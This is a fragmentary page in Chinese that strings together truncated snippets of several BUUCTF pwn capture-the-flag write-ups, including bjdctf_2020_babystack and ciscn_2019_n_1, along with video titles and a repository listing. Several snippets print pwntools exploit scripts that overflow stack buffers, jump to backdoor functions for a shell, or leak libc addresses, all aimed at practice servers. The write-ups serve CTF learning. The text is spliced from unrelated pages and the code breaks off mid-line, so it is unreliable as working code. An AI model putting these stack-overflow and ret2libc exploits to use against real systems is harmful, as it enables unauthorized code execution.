后门函数地址是0x4006e6 frompwnimport* p=remote('node4.buuoj.cn',25250) back_door=0x4006e6p.recvuntil('your name:\n') p.sendline(str(0x40)) p.recvuntil('u name?\n') payload=b'a'*0x18+p64(back_door) p.sendline(payload) p.interactive()...
发现溢出点,read由用户控制输入的长度,而buf的实际长度只有6h,需要塞入10h的数据来溢出 在函数列表里发现后门函数 Payload如下 frompwnimport*elf= ELF('./babystack') p= remote('node3.buuoj.cn',28348) Payload= b'a'*(0x10 + 8) + p64(elf.sym['backdoor']) p.sendline("100") p.sendline(Payl...
NO.18 bjdctf_2020_babystack_sovle exp #-*- coding:utf-8-*- from pwn import * context(os="linux", arch="amd64", log_level="debug") local = 0 if local: p = process('./bjdctf_2020_babystack') else: p = remote('node3.buuoj.cn',26095) #elf = ELF('bjdctf_2020_babystack') ...
PWN buuctf刷题 - bjdctf_2020_babystack 16:33 PWN buuctf刷题 - [OGeek2019]babyrop 40:17 PWN buuctf刷题 - jarvisoj_level2 23:34 PWN buuctf刷题 - ciscn_2019_n_8 40:58 PWN buuctf刷题 - PWN5 14:41 PWN buuctf刷题 - ciscn_2019_c_1 43:07 PWN buuctf刷题 - jarvisoj_...
024.bjdctf_2020_babystack2 025.pwn2_sctf_2016 026.babyheap_0ctf_2017 .gitattributes .gitignore README.md Latest commit Real-Simplicity 更新 Dec 5, 2022 d066e0b·Dec 5, 2022 History History 知识点 格式化字符串 题目分析 检查保护情况。32位程序,开启NX保护,开启Canary保护。
024.bjdctf_2020_babystack2 025.pwn2_sctf_2016 026.babyheap_0ctf_2017 .gitattributes .gitignore README.md Breadcrumbs BUUCTF-Pwn /009.ciscn_2019_n_8 / README.md Latest commit Real-Simplicity 更新 d066e0b· Dec 5, 2022 HistoryHistory File metadata and controls Preview Code Blame 42 lines...
此外,其实本题文件还开启了 NX 保护,即栈上的数据不可做为代码执行,不过开启该保护完全不影响完成该题。为避免过多赘述,后续并不经常强调保护的问题。 代码语言:javascript 复制 └─$ checksec ciscn_2019_n_1[*]'/home/h-t-m/ciscn_2019_n_1'Arch:amd64-64-littleRELRO:PartialRELROStack:No canary fou...
PWN pwn1 checksec什么保护都没开,到程序里发现有个fun函数可以调用shell,那我们直接覆盖rip指向这里就可以了 EXP 代码语言:javascript 复制 from pwnimport*#sh=process("./pwn1")sh=remote("node3.buuoj.cn",29918)payload="a"*23payload+=p64(0x0000000000401198)+p64(0x0000000000401186)#sh.recvuntil("put...
ssize_tvulnerable_function(){charbuf;// [rsp+0h] [rbp-80h]write(1,"Input:\n",7uLL);returnread(0,&buf,0x200uLL);} read 溢出+libc_leak 3.EXP frompwnimport*fromLibcSearcherimport*context.log_level="debug"p=remote("node3.buuoj.cn",27722)elf=ELF("./level3_x64")read_got=elf.got...
BUUCTF-bjdctf_2020_babystack writeup 2021-02-09 17:48 −... KaguyaSaikou 0 290 0x01 Wechall writeup 2019-12-20 15:44 −--- storage:writeup time:2018/4/6 --- # 0x01 Wechall writeup [toc] ## [Limited Access](http://www.wechall.net/challenge/wannabe7331/limited_access/i....